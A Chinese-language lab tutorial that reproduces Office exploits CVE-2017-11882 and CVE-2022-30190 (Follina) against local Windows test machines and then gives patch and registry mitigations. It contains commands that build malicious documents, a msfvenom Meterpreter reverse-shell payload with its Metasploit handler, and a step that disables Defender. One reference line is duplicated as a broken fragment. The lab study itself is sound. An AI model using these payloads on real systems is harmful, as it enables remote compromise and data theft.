Microsoft Office 漏洞复现(CVE-2017-11882、CVE-2022-30190)
1 前言
Microsoft Office是一套由微软公司开发的办公软件,它为 Microsoft Windows 和 Mac OS X而开发。与办公室应用程序一样,它包括联合的服务器和基于互联网的服务。因为国内大多数人都在使用Windows系统,office作为微软的办公软件,使用率自然在办公软件中遥遥领先。这里整理了两个 Office 相关的漏洞进行复现,即CVE-2017-11882、CVE-2022-30190。
2 CVE-2017-11882
2.1 漏洞简介
漏洞出现在公式编辑器模块EQNEDT32.EXE中,在office安装过程中被默认安装,该模块以OLE技术将公式嵌入在office文档中。该漏洞的成因是EQNEDT32.EXE进程在读入MathType数据时,在拷贝字体名的时候没有对名称长度进行校验,从而造成了栈溢出。
影响版本:Office 2003~2016
2.2 复现环境
攻击机:kali(ip:192.168.219.134)
漏洞利用工具:https://github.com/unamer/CVE-2017-11882
被攻击主机:Windows 7(ip:192.168.219.140)
Office:Office 2016 (https://msdn.itellyou.cn/)
2.3 复现过程
漏洞验证,弹出计算器
- 使用攻击脚本生成用于验证的poc,即执行打开计算器的命令,并在kali上使用“python -m SimpleHTTPServer”开启http服务,方便目标主机下载。
python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc
- 下载doc文件。
- 打开calc.doc使用 word 进行编辑。
可以看到,当使用 word 打开calc.doc时,执行了命令弹出了计算器。

执行反弹shell
-
利用 msf 生成对应的反弹 shell 的 payload。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=4444 -o ./sc.bin
-
使用 msf 进行监听。
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.219.134 lhost => 192.168.219.134 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > run
-
利用反弹shell的payload生成恶意doc文件test.doc。
python CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.doc
-
同上使用 python 开启http服务,在Windows上下载,而后使用word编辑test.doc。
-
成功接收反弹shell。
2.4 修复建议
- 进行系统更新,或使用更高版本的office。
- 更新补丁,补丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 。
3 CVE-2022-30190
3.1 漏洞简介
2022 年 5 月,微软紧急公开了 Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞漏洞,漏洞编号为 CVE-2022-30190。Microsoft Windows 支持诊断工具 (MSDT) 存在远程代码执行漏洞,攻击者可通过诱导用户打开特制文件(如,特殊构造的 word 文件)来利用此漏洞,漏洞使用 Word 等应用程序中的远程模板功能从恶意服务器获取带有 ‘ms-msdt’ URI 的特制 HTML,然后使用 ms-msdt 方案来执行 PowerShell 代码。攻击者可以利用此漏洞安装程序、查看、更改或删除数据,或者创建新用户。
影响版本:Office 2013、2016、Office Pro Plus 和 Office 2021 等版本
3.2 复现环境
攻击机:kali(ip:192.168.219.134)
漏洞利用工具:https://github.com/chvancooten/follina.py
被攻击主机:Windows 10(ip:192.168.219.130)注:为了实验成功,需要关闭Windows defender
Office:Office 2016 (https://msdn.itellyou.cn/)
3.3 复现过程
-
kali上使用攻击脚本生成用于验证的poc,即执行打开计算器的命令,-u指定远程主机地址,即kali地址。
python3 follina.py -t docx -m binary -b \\windows\\system32\\calc.exe -u 192.168.219.134
- 下载对应文件clickme.docx ,并使用word编辑,成功弹出计算器。
3.4 修复建议
-
更新官方补丁。
-
以管理员身份在cmd执行以下命令:
reg export HKEY_CLASSES_ROOT\ms-msdt filename reg delete HKEY_CLASSES_ROOT\ms-msdt /f
4 参考文章
- CVE-2017-11882 office缓存溢出漏洞复现(http://cn-sec.com/archives/158625.html)。
- CVE-2017-11882 简单分析(http://wjhsh.net/banchen-p-8301416.html)。
- 微软office被曝 0 day漏洞(https://app.myzaker.com/news/article.php?f=normal&pk=629ad5a0b15ec058725152fc)。
sh.net/banchen-p-8301416.html)。- 微软office被曝 0 day漏洞(https://app.myzaker.com/news/article.php?f=normal&pk=629ad5a0b15ec058725152fc)。
- Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞研究(https://bbs.kanxue.com/thread-273196.htm)。